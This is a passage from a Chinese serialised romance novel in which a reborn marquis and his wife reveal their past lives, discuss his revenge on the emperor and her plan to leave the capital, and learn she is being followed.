“我当时疑惑,侯爷久病,深居简出,关将军他们又不登门,难不成侯爷私下与他们有往来?”
“临近午时,我去唤你们的用餐,恰巧遇上了如厕归来的关将军,见他手臂有伤,关怀了两句,方知侯爷之前的刀伤,乃是在坞城所伤。”
“是以,在侯爷入宫面圣后,我去了趟云鹤观。”
“我嫁入侯府后,侯爷两次出府,皆说是去了云鹤观寻元奚真人治病。”
“可元奚真人的弟子至玄告诉我,侯爷并未去过云鹤观,并且元奚真人于开春便离观,寻山访友去了。”
“侯爷的腿根本不是元奚真人治好的,或者说,侯爷的腿从始至终便无恙。”
“敢问侯爷,这如何不算欺骗?”
江元音接着道:“应该不止是腿,侯爷一直是耳清目明吧。”
“侯爷装傻充愣,将我耍得团团转。”
“敢问侯爷,这如何不算愚弄?”
“侯爷从始至终都知晓齐文台一家的嘴脸,引导我去发现陆氏的恶,与之相斗。”
“敢问侯爷,这如何不算利用?”
齐司延抬步迈过去,没急着回应,而是问道:“你既是这般想,为什么不直接与我说?”
那他早就能与她解释清楚,不让她生这般久的闷气。
江元音笑了笑,“侯爷可是忘了,初八那日,我便要同你说,是侯爷睡过去了。”
她接着提醒道:“次日侯爷说,晚上会回来与我说清楚,却同人议事到寅时。”
“再后来,侯爷未曾回过主屋,更是直接离府了几日。”
“想来侯爷是不想我追问,我何必惹人厌?”
齐司延微不可闻地叹了口气:“初八那夜,我以为你要追问自己的身世,是我狭隘,没想到阿音对身世能看得这么透彻,是以避而不谈。”
“而之后我未曾睡在主屋,非我所愿。”
他说着,抬手探向自己的腰带,开始解衣。
江元音万般不解,忙伸手制止,“做什么?”
哪有说着说着开始宽衣解带的?
齐司延淡声道:“给你看看。”
联想到昨晚男人炙热的体温,江元音面色不受控的绯红,一半恼怒一半窘迫:“我不看!”
齐司延不勉强,停下了脱衣的动作,握住她的手往自己的衣襟里探去,“那你摸摸。”
江元音挣不脱,只能气恼道:“你不是要和我说清楚误会,摸什么……”
随着手上感受到的粗糙不平的触感,江元音动作一滞,愕然抬眼看他。
齐司延按着她的手,停在左肋骨下方的位置,垂眼看她,继续回应解释:“我受了伤,才没有回主屋睡。”
江元音恍然。
难怪那一晚,他一回侯府便让小厮备水沐浴,脸色如同那回在坞城受伤了一般惨白。
她想要看看他的伤口,但一想到那晚听到的话,又压下去了。
齐司延又道:“至于耳力目力与双腿的事,我并非故意瞒你。”
他斟酌着措辞解释道:“我中毒是真,曾耳聋目瞎,双腿不能行,皆是真,你当能体谅理解我一开始的缄口不言。”
“我若能预知你我后来的情意,自不会瞒你分毫。”
“‘欺骗’是迫不得已,‘愚弄’是无稽之谈,至于‘利用’……阿音可是忘了,你当初曾对我说,我对付齐文台,你对付陆氏,一道联手,成效更佳。”
“为何现在,联手在阿音眼里,便成了‘利用’?”
江元音抽回手,低垂着头,一时无言以对。
是的。
这些她都想过的,也全部理解。
她想不明白的,是他为何五个月前就会去调查寻找江云裳。
这让她觉得,他在下一盘很大的棋,根本不似他解释的这样,是因为处境而不得不防备她。
……可她,能问吗?
齐司延:“近半年的相处,我为人如何,待你如何,你自己感觉不到吗?”
他双手捧住她的脸,迫使她抬头。
他弯腰俯身,与她四目相对,“你可以误解我,但不可以武断地审判我。”
他喉结滚动,心口钝痛,声音却越发的轻:“阿音,我也会伤心的。”
隔着两拳的距离,江元音抬眼看他。
是错觉吗?
为何他的眉眼里,竟隐隐约约的有……脆弱?
这份“脆弱”却给了江元音面对一切的冲动与勇气,她直视他,终于问出了口:“那你告诉我,你为什么要找江云裳?”
齐司延呼吸一滞,身子微僵。
江元音安静注视着他,一瞬不眨,将他每一丝神色变化收入眼底。
“你可以不回答,但不可以骗我,”她重声提醒道:“你说过,你亦会遵守家规。”
屋内寂静无声。
江元音心口翻涌着失望,抬手试图掰开齐司延捧住她脸的手。
然而齐司延不肯松手。
他眸里有光影明明灭灭,半晌后才似下了某种决心,开口道:“我曾经做过一个梦。”
“梦里,我父母早逝,叔父叔母受人指使,打着照顾我的名号,侵占侯府,给我投毒,我不到及冠之年,便已腿不能行、耳不能听、目不能视,命不久矣。”
“我病弱将死之人,从未想过娶妻生子,可后来皇上赐婚,将江南首富之女指婚于我,名唤江云裳。”
“我怜她无辜,早留有和离书,我病逝后,她仍可以清白嫁人。”
“然,她竟是蛇蝎心肠,不仅同叔母狼狈为奸,更欺我身残。”
“我病死那日,魂魄在侯府逗留数日,方知一切真相。”
“苏醒时,便是一年前。”
江元音眸光闪烁,长睫毛不住颤动着,脑子嗡嗡作响。
怎么会?!
他竟也是重生的?!
话已至此,齐司延索性一并和盘托出,“庆幸的是,我醒来时,还没有完全变成废人,但我也是花了大半年的时间,才有所好转。”
“阿音,我的腿的确是元奚真人治好的,不过不是五月。”
“我花了半年的时间解毒,不打草惊蛇,只是想找出齐文台、陆氏身后的人。”
“待身体好些了,我开始找寻父亲母亲的旧部,我需得万般谨慎,因为我知,不会有第二次梦醒的机会。”
“直至成婚那日,我才知道,我娶的是你,不是江云裳。”
“所以阿音,你明白我为什么要找她了吗?”
江元音呼吸急促,激动不已。
这是她从未想到过的答案。
如此,一切便都说得通了。
齐司延见她久不言语,眼底涌动着暗流,“你不信是吗?”
他嗓音干涩,不待她挣脱,颓然松开了捧着她脸的双手。
他站直身子,往后退了一步。
江元音主动伸手,拽住他腰间的衣服,仰头看他:“我信。”
他所言,和她上辈子的记忆一样。
这一刻,她懂得了他所有的闭口不言。
她懊恼自己对他诸多恶意的揣度,庆幸自己刚刚终于问出了口。
也庆幸……他比她勇敢。
她因为上辈子的经历,不愿再做那个主动付出的人,一旦察觉到可能会受伤,就把自己封闭起来。
可他上辈子也被所有人辜负,却还是……不惧怕去爱。
“侯爷,其实我……”也做过一个梦。
后半句话消失在齐司延的唇边。
他俯身,带着那些惊涛骇浪的情绪,吻了上来。
江元音再不忍推开他,她主动环住他的腰,回应着他这个带着苦涩的吻。
感受到她的回应,齐司延越发情难自抑,将她压倒在软榻上。
江元音穿着素色的单衣,一头青丝如墨色的绸缎般散着,此刻大口的换着气,一双眼湿漉漉地望着他。
齐司延满脑子都只有“我见犹怜”四个字,声音沙哑,近乎诱哄地问:“好阿音,不要和离,可好?”
“我……唔……”
齐司延又吻上去,在她喘不过气时,松开她,又问:“好阿音,不要和离,可好?”
“你……唔……”
只要听到不是“好”字的发音,他便执着地吻上去。
如此数遍后,江元音浑身无力地认输:“……好。”
齐司延终于得到想要的回答,吻得更细碎缠绵。
江元音尝试着推开他,“侯爷,我们还没说完!”
……他怎么又开始上下其手了?!
齐司延在她耳边喃语:“你刚刚说‘好’了,不可以耍赖。”
江元音忽然有些怀念先前“吵架”的状态。
这个男人为什么一“破冰”就自动切换“如火”的状态,烧得她难以喘息。
江元音只好故技重施地咬了他肩膀一口,寻了个理由让他冷静下:“侯爷,你尚未沐浴洗漱!”
齐司延终于停了下来,眸色幽深看她,问出了昨晚便想说的话:“我们一起洗,嗯?”
“……我洗过了。”
“那你帮我洗?”齐司延得寸进尺,找了个不容她拒绝的理由,“我受伤了。”
江元音想起刚刚摸到的伤疤,果然没有拒绝。
帮他洗也可,她顺便同他聊聊她的“梦”。
然而她根本没有开口的机会。
被他抱入浴池时,江元音无能怒吼:“侯爷能不能不要时时想着那事?”
“我并非时时想着那事,我是因为想着你,才想……”
“阿音,对你,我情难自禁。”
第136章 于你,我再无秘密
两人称得上小别胜新婚,从浴池折腾到床榻,江元音精疲力尽。
她任他搂着,惦记着没说完的话,迟迟不肯合眼睡去。
江元音开口道:“侯爷,我也曾做过一个梦。”
齐司延抱着她,懒洋洋地问:“什么梦?”
江元音躺靠在他的胸口,耳畔是他沉稳有力的心跳,那些原本“匪夷所思”不敢宣之于口的话,在他先前的主动坦白下,可以不再费劲的说出口。
她斟酌着措辞,尽量客观平静地叙述。
“梦中我身为江家嫡长女,却从不受家人待见,十六岁那年初秋,江云裳趁着父母出远门参加商会,拉着我去到泉郡。”
闻言,齐司延才知“此梦”非“彼梦”。
松弛的神经收紧,他凝神倾听着。
江元音继续道:“她贪玩惹上流寇,为脱身便将我卖给了流寇,万幸我遇到泉郡地头蛇三爷的下属,他瞅见我左肩的刺青,杀了流寇,要将我带走。”
“江云裳哭着求我,她说落到三爷手里,还不如死了,她说等她回了江家,一定会找父母来救我。”
“我为了救她,主动和下属走了,可我在泉郡日复一日的等,没有人来救我。”
“约莫过了大半年,三爷终于善心大发,准我归家看看。”
“可我连江家的大门都未能进去,守宅的老妇告诉我,江云裳嫁给了定宁侯,江家举家迁到了汴京,江兴德怕我连累了江家的名声,不许我再称江家女。”
齐司延拢了拢手臂,心里百感交集,安抚的话尚未能说出口,只听江元音的声音又接着响起。
“后来三爷攻入汴京,登基称帝,封我为后。”
江元音并不想多提李承烨是如何折磨她的,只说重点道:“没多久我便死在寝宫,再睁眼时,回到了江云裳拉我去泉郡的前夜。”
“她喊来刺青师,在她左肩纹刺上我的莲花,又将我的刺青,改成九尾狐。”
“之后,她独自去了泉郡。”
齐司延呼吸一滞。
江元音自他怀里仰头看他,于昏暗中去寻他的眉眼,婉转道:“所以侯爷,你说的‘梦’,我信。”
“那我的‘梦’……侯爷可信?”
齐司延稍稍垂首,与她额头相抵,哑声道:“当然。”
此刻言语显得匮乏,他寻不到任何可以贴切表达的词,只想同她肌肤相贴,呼吸相闻。
身体的温度,亦是一种语言。
就如同他前边坦然说完,她说她相信时,他只想吻她。
听到肯定的回答,江元音悬着的心终于安稳落地。
她再无顾忌地同他分析推测道:“我想‘做梦’的应当不止我与侯爷,想必江云裳亦是大梦一场。”
“所以,她才会复制我的刺青,独自去了泉郡,她想当皇后。”
亲密无间的距离,江元音能察觉到他每一丝情绪的转变。
……他好像不太高兴。
她只当他是因为江云裳这一世要过“好日子”而不爽,出声补充道:“侯爷放心,江云裳在三爷那过不上好日子的。”
齐司延紧绷的情绪没有丝毫的缓和,他一手搂着她的腰,一手上移,捧着她的脸,紧声问:“阿音和那个三爷可……有感情?”
他们携手过了一辈子。
她还当了他的皇后。
她之前那么果断要和他和离,可有想过,回到那个三爷身边?
齐司延在极力克制自己的情绪,可心口的抽痛难以自抑。
在对待与她相关的一切上,他大度不起来。
他小气、自私、卑劣。
别说是有感情,他甚至无法容忍,她还在意那个男人。
他只希望,她完完全全的,独属于他。
“你疯了?”江元音近乎本能的脱口而出,犹如他之前揣度她和李霁关系时的反应一般。
但随即意识到是她自己并未提及她和李承烨之间的种种,她深吸了一口气,言简意赅道:“侯爷,三爷……是先太子李承烨。”
齐司延恍然。
所以他会因为她的刺青而将她带走。
所以他一个地头蛇,蛰伏多年,发展势力,都是为了复位。
“他同你相认了?”齐司延后知后觉意识到不对劲,“他为何立你为后?”
江元音摇头,“他没有告知我身世,至于立我为后……只是不想放过我吧。”
“他恨透了先皇后,而珩王又说,我和先皇后如出一辙。”
“我这辈子都不想再见到他。”
话已至此,江元音稍稍后仰头,索性挑破问道:“侯爷,也想要这天下?”
他联络齐腾夫妇旧部,暗中和关啸等将军往来。
齐司延不置可否,沉默片刻后才说道:“‘沧江水战’,我父母和一众齐家军,乃是被‘自己人’的一把火,逼到上了‘自己人’做过手脚的战船,又被‘自己人’于岸边射杀。”
江元音心中其实已经有了答案,轻声问道:“侯爷可是已经查到了幕后主谋。”
齐司延颔首,没卖关子,点破道:“当今圣上,李彦成。”
这亦是江元音心中的答案。
众人都道,李彦成格外眷顾定宁侯,乃是善待功勋后代,实乃明君所为。
可如果细品,什么都不对劲。
齐司延病得蹊跷,御医年年会替他看诊,便是查不出他究竟中了什么毒,也不可能连他是中了毒都不知道吧?
而陆氏别说是没能耐弄到这罕见的毒药,若真是她自发下毒,以她那点谋划心性,根本想不到他们是傍着齐司延才能活的“滋润”,只怕在齐司延幼时,便会将他杀害。
关啸等昔日跟随齐腾将军的武将们,这些年都不敢光明正大来侯府,在忌惮谁,更是可想而知。
更让她笃定这个答案的是,齐司延病愈回归朝堂,李彦成交给他的公职,竟是去负责崇光院的修缮。
显然,是李彦成不想落得个苛待功臣后代的骂名,故意将齐司延“养废”,使其拿不到实权,又能留着齐司延的性命,来给天下人做戏。
所以汴京人人都道:圣上对定宁侯,宠眷有加。
齐司延又接着道:“先帝畏敌如虎,边关告急,宁可割地求安也不迎战,我父母不得不拥护李彦成称帝,好奔赴边关,驱逐胡人,守护中原。”
“然李彦成坐稳皇位后,却是兔死狗烹,鸟尽弓藏。”
“他设计让我父母与齐家军枉死,更是将我养成‘废人’。”
江元音抬手,覆盖住他捧着她脸的手,以此来表示,她认可理解他的恨。
她再次重复问道:“所以,侯爷是要这天下?”
齐司延回握住她的手,放在自己的胸口,下定决心道:“在回答这个问题前,我需得和你说一件事。”
“什么事?”
“与你身世相关,你……”他语气亦有挣扎与犹疑,“要听吗?”
先前听了她谈论了对先帝是她“生父”的看法,他方知自己对她的了解太过片面。
他所谓的“为她好”的决定,或许不是真的为她好,而是他的自大。
他更不想与她之间,再埋下任何误会的可能。
江元音不解。
她的身世还有什么值得说的?
她道:“侯爷请说。”
齐司延一番心绪起伏,简洁明了道:“你生父不是‘先帝’,应当是李彦成。”
江元音愕然:“什么?”
这几日她好不容易才接受了,自己同李承烨是亲兄妹,转眼又不是了?
“这才是我之前对你的身世避而不答的原因,”齐司延缓声吐露真相,“先皇后生下你时,还是先帝在位时,所以连珩王都以为你是先帝同先皇后的孩子。”
“李彦成若是认了你,你必遭非议。”
齐司延说得婉转,但江元音不愚笨,瞬间了然。
若是这样,李承烨对她的恶意与仇恨,似乎更合情合理一些。
站在李彦成的角度,她是他的母后与皇叔苟且所生。
江元音谨慎地问:“连珩王都不知道的事?侯爷如何会知?”
齐司延便将母亲洛青莞同先皇后之间的往事,转述与她听。
江元音本能的抵触,“那也不过是侯爷的揣测。”
“是,我比任何人都希望这只是我的揣测,”齐司延坦然道:“我当然不希望你是仇人之女,更怕你因为我要复仇,而离开我。”
“阿音,于你,我再无秘密。”
江元音沉声问道:“你会杀了他吗?”
“……我会。”
江元音陷入沉默。
即便她从未有过,要和生父相认的想法,但也无法在得知自己的夫君要杀了他时,能毫无波澜。
可李彦成于她,又的的确确只是个“陌生人”。
江元音的思绪百转千回,她第三遍问道:“侯爷,要这天下?”
齐司延反问:“阿音这辈子,可还想当皇后?”
“不,我不想,”江元音摇头,“我初初嫁入侯府,为的是等你病逝后,回到江南。”
齐司延圈紧她,重声道:“好,等我复了仇,我随你回江南。”
可江元音久久未答。
她脑袋混乱,心绪复杂。
良久后,方才出声道:“多谢侯爷如实以告,但……我需要时间好好理一理。”
第137章 我随你走
良久的沉默后,齐司延哑声问道:“你会因此,离开我吗?”
如果是这个原因,他好像没资格阻止。
江元音果断否认:“不会。”
“真的?”齐司延声音很轻,只是将她抱得更紧些。
江元音知道他在担心什么,开口道:“依照侯爷所言,你自乞巧节入宫那日,便推测出我是李彦成的女儿,那我于侯爷而言,便是仇人之女,可侯爷不也没因此迁怒离开我吗?”
“侯爷同父母感情甚好,李彦成对你的伤害亦是真真切切,我没有资格也不会去劝侯爷放下仇恨。”
“这就好比,今日侯爷忽然成了江兴德与陈蓉的儿子,让我忘记在江家受过的委屈苛待一般。”
“未经他人苦,莫劝他人善,要不要复仇,是侯爷自己的自由,我不会干涉。”
初初听到他要杀李彦成时,一颗心难免有波澜。
但转瞬便归于平静。
她不会让自己被血缘羁绊,一如她不会因为李承烨是她的兄长,便原谅他的所作所为。
更没有必要,因为李彦成是他的生父,就要和他统一战线。
那不过是自寻麻烦。
齐司延心底热流涌动,仍有些不敢置信:“那阿音为何说需要时间理一理?”
“我需要思考,我何时动身去江南。”
“……阿音不是说,不会因此离开我吗?”
江元音语气平静,不带半点赌气成分,坦诚道:“要不要复仇,是侯爷的自由,什么时候回江南,是我的自由。”
“侯爷,我不会劝你放下仇恨,你也不该让我为了你,留在汴京,这不公平。”
“侯爷与我,都是大梦一场的人,当清楚重来一次的机会有多难得。”
“我的确喜欢侯爷,但今生,我不会为了任何人辜负自己。”
这全部是她的肺腑之言。
之前她尚不知晓自己的身世,的确想过,陪他谋取天下。
但自从知晓身世后,她便半点不想留在汴京了。
她也没忘记她这一生渴求的是自由与宁静,有所爱之人相守甚好,独自一人,也欢喜。
齐司延沉默不语。
江元音又道:“且不论李彦成是不是我的生父,他毕竟是皇上,李承烨是筹备了二十多载才复位成功,我不知侯爷有几成把握。”
“但侯爷若复仇成功,仍对这天下没兴趣,妾身,在江南等你。”
与其把所有主动权交给齐司延,被动的等着他履行“复完仇,随她回江南”的承诺,她选择靠自己去谋划一方天地。
届时,他若守约,她自会相迎。
他若失约,她便过好的自己的人生。
江元音吐露完心中所言,好似卸下了心中所有的重担。
睡意来袭,她合目睡去。
而齐司延,一夜无眠。
此刻他方才恍然,从前在他在她身上感受到的,“非他不可”、“满心满眼都是他”的爱意,不过是自己的一厢情愿。
……她的透彻、洒脱,他自愧不如。
江元音倒是一夜好眠。
次日清晨,终于有了公职的齐司延,早早起身上早朝去了。
江元音睡到巳时才起。
睡饱后,她精神饱满,稍稍填了填肚子,便继续昨晚被齐司延打断的活。
继续盘点那三大箱财物。
齐司延下了早朝回来,见她兴致勃勃地盘点,心中颇有些不是滋味。
经过昨夜敞开心扉的畅聊,他难免多想。
……她在收拾盘缠?
江元音感受到他直勾勾的目光,半是试探半是调侃地问道:“侯爷,不会想问我借钱修缮崇光院吧?”
“怎么会?”齐司延无奈叹气,“那自有国库拨款。”
齐司延欲言又止,有些话到了嗓子眼又咽下去了。
再抬眼看她,又转身盘点去了。
两人一道用了午餐,齐司延心事重重,江元音倒是一派轻松。
吃完后,她主动询问他:“侯爷可要午睡小憩?”
“阿音睡不睡?”
江元音摇头,“我今晨睡到巳时才起,并不觉得困。”
齐司延伸手拉住她,终于还是开了口:“昨夜的事,阿音思虑清楚了?”
江元音点了点头。
齐司延喉咙上下滚动,紧声问道:“阿音打算何时动身?”
江元音如实以告,“待入了秋吧,南方的冬天比这暖和。”
齐司延不语。
他心中自然有不舍,但冷静想想,她离开汴京是最好的选择。
从前他仍是“病秧子”,李彦成不会盯着他。
现在他病愈,李彦成一定会有所行动,一如计划让他娶平妻这事。
曹学良已经两次在李彦成面前提及了她的样貌,她留在汴京确实不安全。
再者,正如她昨夜所问,要杀李彦成,且全身而退,不是那么简单的事。
若是万一他失败了,至少能保全她。
而她不在这,他会少很多后顾之忧。
齐司延握紧她的手,闷声道:“阿音,别走得太远,可好?”
这样他还能不时往返去见她。
江元音没应声,她回握住齐司延的手,道:“待侯爷忙完,我们一道挑挑合适的地方?”
活了两辈子,她其实去过的地方甚少。
待安置好宅院,她倒可以四处走走了。
她也早说了,她要回江南,只是不想参与汴京的纷争,也因为留在汴京太过危险麻烦,并不是要与他和离。
他们都是做了自己最想要的决定,没有谁亏欠谁。
这是他们平心静气讨论出来的结果。
那更没必要浪费时间争吵,闹别扭了。
齐司延颔首,“好。”
就这样各自忙活,过了五日。
江元音出府去了趟钱庄存钱,随后顺便去了西市,看望封弋。
这次非常难得的,封弋不在屋子里,就坐在她上回坐的屋檐下,仰头看着树影发呆。
听到声音,他侧头看向院门,一如之前那般,第一时间同她的视线对了个正着。
江元音迈过去,近乎惯性地先打量他的脸色,欣慰道:“你似是好得差不多了。”
不待封弋出声,本在露天的小厨房那忙活的陪护郎中,立刻出声道:“可不嘛,有我这准时准点地端汤送药,细心呵护,少侠想好得慢,都是不可能、能……”
尚未说完,冷不丁地被封弋扫了一眼,他仍无法自控地哆嗦了下,马上改口补充道:“当然最重要的,还是少侠自身底子好!”
封弋毫不领情,张口便是冷彻郎中心扉的话:“辞了他,我好了。”
郎中握着手中给药罐扇风的蒲扇,正要寒心咆哮,被封弋余光扫了一眼,只得悻悻咽下,满脸哀怨看向江元音,连声感慨道:“干我们这行的,最忌讳对病人过于上心,尤其是少侠这样捂不热的病人,哎,哎,哎——!”
封弋:……
江元音示意雪燕掏出一锭银子递给郎中,温声道:“这些日子辛苦了。”
郎中连连摆手:“使不得,使不得,夫人都给我结算过工钱了,我怎地好意思再收?”
话是这样说的,但当雪燕递过去,他还是喜笑颜开的收了。
少侠的心捂不热没关系,银子到位,那便是极好的!
下一瞬,封弋面色一沉,倏地拾起地上的树枝,运功朝院门射去。
郎中吓得拿蒲扇抱头蹲地,连声道:“少侠饶命!少侠饶命!”
与此同时,院外传来一声闷痛的叫声。
江元音忙侧头看去,只能瞧见一男人匆匆离开的背影。
封弋起身欲追,但余光扫过面色凝重的江元音,还是停住了。
……算了,万一那人还有同伙,没人护她。
江元音目光仍落在那男人消失的方向,紧声问道:“你仇家?”
随即意识到封弋对这类似的问题,素来是闭口不答,于是转头看向他,道:“既然你已经被发现了,此处也不安全,我再给你换个地方。”
封弋环臂看她,道:“是你。”
“是我?”江元音尚有些惊魂未定,顺着他说话的习惯,思索确认道:“你的意思是,刚刚那个人不是你的仇家,而是找我的?”
“嗯。”
江元音蹙眉:“那你为何不追?”
封弋垂眸扫她:“不安全。”
江元音深呼吸,又重声问:“现在还追得上吗?”
封弋摇头,已错过最好的时机了。
这要是偏僻的郊区,那是能追上的。
可出了巷弄,便是汴京最热闹的西街,大隐隐于市。
江元音陷入沉思。
有谁会跟踪她?
是从何时开始跟踪她的?
封弋将她凝重的面色收入眼底,问出了每次见面都要问的问题:“我好了,什么时候离开汴京?”
这回江元音总算是有了相对确切的答案:“入了秋后。”
封弋拧眉:“这么久?”
江元音心思还在那跟踪她的人身上,含糊的“嗯”了声。
片刻后,她谨慎道:“不管是跟着我的,还是来寻你的,总之这处都被发现了,还是换个地方吧。”
她摸不准跟踪她的人抱得是什么目的,会不会因为她盯上封弋。
封弋没有犹豫拒绝,应了:“好,我随你走。”
他难得的没省略主语,表述得完整。
江元音只当他说的是随她换个容身之所,是以点了点头。
待离开小院后,方知他这句话的意思是,以后要跟着她了。
第138章 不和离是缓兵之计?
江元音察觉到封弋的意思后,委婉道:“你跟着我,不太合适。”
她若把他带回侯府,还得跟齐司延讲明来龙去脉。
封弋不以为然,“我伤好了,你有危险。”
他言简意赅地表明,他现在的身体状况,跟着她是不会给她造成麻烦的。
而她被人跟踪,他跟着可以保护她。
见她仍有些犹疑,封弋垂眼,“我答应过送你出汴京,你死了,我怎么送?”
江元音:……
难得听他说个长句,但听着怪刺耳的。
但转瞬一想,也觉得不无道理。
这汴京果然是危险重重,她不知自己是又被谁盯上了。
她平日出行,身边只跟了雪燕和清秋两个丫鬟,若是遇着点意外,毫无反抗能力。
有个身手好的封弋跟着,的确要安全很多。
思及此,江元音没有再推拒,点点头,上了马车。
她好生同齐司延说说,他应该不会有什么意见。
马车还未驶离西街,便被人拦住。
“夫人,我家主子有请。”
听到有些熟悉的声音,江元音掀开车窗帘一看,看到了李霁的随侍。
难不成刚刚在巷弄跟踪偷听的,是李霁的人?
上次谈到一半被打断,她正好再同他谈谈。
随侍将江元音带到了西街最是热闹的遇仙楼。
她没打算和李霁长聊,加之知晓一会要谈及的内容,不便人旁听,便让雪燕、清秋与封弋,留在马车里等她。
她同随侍去了二楼的包间。
一进门,便见李霁一身华服,立在窗边,观看一楼大厅戏台的表演。
听见开门声,他于窗边回首看向江元音。
江元音福了福身,“见过王爷。”
她立在屋内,隐约能听到一楼大堂的叫好声,随口感慨了句:“还以为似王爷这般风雅之人,会嫌西街遇仙楼吵闹。”
遇仙楼和鹤鸣琴筑的风格,可是大相径庭。
李霁不赞同,“谁说人间烟火气,不是一种风雅?”
他抬扇,朝随侍挥了挥手,示意其退下。
随后朝屋内的矮几小座走去,示意江元音一道落座。
江元音知晓他当是有话要说,乖顺落座。
李霁一边斟茶,一边问道:“你和离的事,怎的没后续了?便是齐司延不让你出府,也没见你使唤人来王府给本王送个口信啊。”
那日,他前脚刚在鹤鸣琴筑点拨完齐司延,后脚便被李彦成召进了宫。
后知后觉齐司延“算计”到了他头上,却还是不得不给江元音圆了场。
谁知那之后,她便没信了。
江元音掀了掀眼皮,反问道:“王爷那日不是已替我做主了,后续如何不该问王爷才是吗?”
先不说他那日,莫名其妙拿她当挡箭牌,又非得言语刺激齐司延。
重要的是,如何和离的事,她与他尚未商量个对策来,他却在她走后,全盘托出给齐司延。
这要不是她和齐司延之间的确有些误会,她就被他“害”死了。
李霁略显理亏,清了清嗓子,又理直气壮道:“是他自己又折返来找本王,也提到了你的身世,既如此,省得弯弯绕绕,本王便将皇兄要给他娶平妻的事说了,让他果断些,同你和离,有何不可?”
闻言,江元音倒是有些好奇,问道:“这娶平妻的事,为何没有后文了?”
她稍作思索,又推测问道:“还是王爷今日见我,便是要说这平妻人选之事?”
李霁喝了口茶,“他什么都没和你说?”
“王爷指得是?”
“那日在鹤鸣琴筑,本王问他会不会为你抗旨,他说不会,因为他不会让道圣旨下下来,”李霁冷哼一声,透出些许不满来,“本王倒是小瞧他了。”
见江元音一脸困惑,李霁将齐司延进宫面圣的事,复述了一遍。
江元音恍然。
难怪他那夜回来得晚,原来还进了趟宫。
李霁说完,意味深长地望着江元音,状似不经意地问:“齐司延的病,真的是同齐文台一家子断亲后,突然好起来的?”
江元音面色没甚起伏,淡声道:“侯爷病得怪异,全汴京无人不知,如今好得突然,当也没什么奇怪的吧。”
她三言两语带过去,谨慎反问道:“倒是王爷,为何突然这样问?”
江元音并非要恶意揣度李霁。
李霁对她没有恶意,但她不至于自大到,觉得他会因为自己这一层关系,便帮齐司延。
毕竟,全天才皆知,李彦成素来疼宠李霁这个胞弟。
而以李霁日日满面春风来看,李彦成待他,当是不错的。
他便是要站队,当是站李彦成那边,这合情合理。
所以李霁今日见她,莫不是因为齐司延进宫,阻止了李彦成给他娶平妻的事,而来试探她?
李霁感慨出声:“他看着,可不像是耳聋目瞎,病了十多载,深居简出的人啊。”
江元音打马虎眼:“王爷看着也不像是,没有娶妻生子,孑然一身的人啊。”
李霁:……
……这丫头怎么说话?
李霁没好气地放下茶盏,直入正题:“所以你还离不离?计划怎么离?还是交予本王来处理?”
“劳王爷费心,妾身不和离了。”
“合着你们夫妻置气,把本王当猴耍?”李霁黑脸,“那日你倒是信誓旦旦,左一句不是意气用事,右一句是自己深思熟虑,本王真是信了你的胡话!”
他执扇敲桌,“你今日说不出个一二三四来,本王敲的就不是这矮几了。”
江元音是半点没在意他的“威胁”,反正他也不是没敲过她的头。
“王爷也看到了,侯爷不愿和离,”她冷静解释道:“我当然知道以王爷的手段,有的是法子助我,但有时候也会适得其反,指不定还会牵连到王爷。”
从前她不知道齐司延和李彦成之间的是是非非,所以才来寻求李霁帮助。
现在看来,让李霁掺和进来,只会让事情更麻烦。
李霁脑海中回忆起前几日,李彦成召见他时,讳莫如深的眼神,是认可江元音这句话的。
他怒气稍缓,分析着她的话,确认问道:“所以,你说的不和离了,是缓兵之计?”
江元音不置可否,她侧眸望向窗外,徐声道:“我同侯爷,的确心悦彼此,但所求不同。”
“王爷当知我有多不愿留在汴京这是非之地,但侯爷大病初愈,年轻气盛,正是一展抱负的好时候,我不能要求他为我离开汴京,也不愿为他留在这。”
“但现下,侯爷与我感情甚笃,谈及和离,他不愿放手,我亦有不舍,不如顺其自然。”
“所以我们各退一步,暂不和离,但待入秋后,我会离开汴京,回江南。”
她和齐司延只是立场不同,没有谁对谁错。
上辈子她被李承烨囚禁至死,最渴求的,不过是自由。
留在汴京,不过是重复上辈子的人生。
李霁眸色深了几许,若有所思地附和了一句:“没人愿意留在这是非之地。”
江元音收回目光,看向他,试探问道:“王爷在汴京,是一人之下万人之上,最是风光无限,为何也会觉得汴京是非之地?”
难道李彦成,对这位最是眷顾的胞弟,也是虚情假意?
李霁不答,只是感慨说道:“这汴京待得久了,甚是乏味,本王早有意南下逛逛,你我指不定还能结个伴。”
江元音见他回避不答,有眼力见的不再追问。
犹记得他上辈子,不到三十岁,便舍弃了王爵,离开了汴京。
但他要与她结伴而行的话,她也并未当真,毕竟她过不了两个月便要回江南了。
难道两个月后,他便不当这“珩王爷”了?
这未免太突然,和上辈子的记忆也对不上。
江元音不以为意的点点头。
李霁抬眼看她,眸光有纠结一闪而过,终还是说了句:“你不怕,日后齐司延,去不了江南?”
他问得含蓄,一语双关。
既是问她,怕不怕离开了汴京后,齐司延忘了她,也是问,她怕不怕齐司延死在汴京。
江元音只当他话的意思是前者,却因为他后者的意思,而眸光一暗。
她不想继续纠结这个近乎无解的问题,突兀地问道:“王爷是安排了人手在侯府盯梢,所以我一出府,便跟上我了?”
李霁没否认,坦然道:“之前不确定你身份,也不好去侯府逮你,便安排了人手蹲着。”
江元音心道难怪她之前一去云鹤观,他就来“求乘”。
她继续确认问道:“今日也是一样?”
李霁再次点头,“本王总得知道,你到底是离还是不离,不过你要是不高兴,本王把人手撤了便是。”
江元音如释重负,随口关切问道:“王爷的属下伤得重么?”
李霁疑惑看她。
江元音解释道:“我来西街见一朋友,他尾随而至,也不言语,被我朋友发觉,拿树枝扎中了他的肩膀,我那朋友身手不错,他当是伤得不轻。”
李霁面色随即凝重起来,沉声否认:“那不是本王的人。”
他的人在发现她乘坐马车往西街驶去后,立即前来知会他,根本没跟踪她到什么朋友那。
江元音刚刚放松的心情再次紧绷,“除王爷之外,这汴京还有谁会盯着我?”
第139章 你不要乱吃醋
李霁分析推测:“齐司延?”
“应当不是,”江元音摇头,“他若是要派人跟着我,直说便是,被发现了也不至于逃窜离开。”
避免又造成什么误会,她晚点问一问他,同他确认也可。
李霁继续推测:“冲你那朋友去的?”
江元音继续摇头,“应当不是。”
李霁面色越发凝重,道:“你戴好帷帽,早些回侯府吧,本王会派人搜查全城的医馆、郎中,看有没有接诊过症状相似的患者,查出什么了,再知会你。”
江元音亦觉得这是个好法子,但以她和李霁之间的交情,又不好如此麻烦他,便含蓄地回了句:“会否太兴师动众?”
李霁沉寂许久的折扇,终是在这一刻落在了江元音的头上,完全是斥责小辈的口吻,“不兴师动众,你小命难保。”
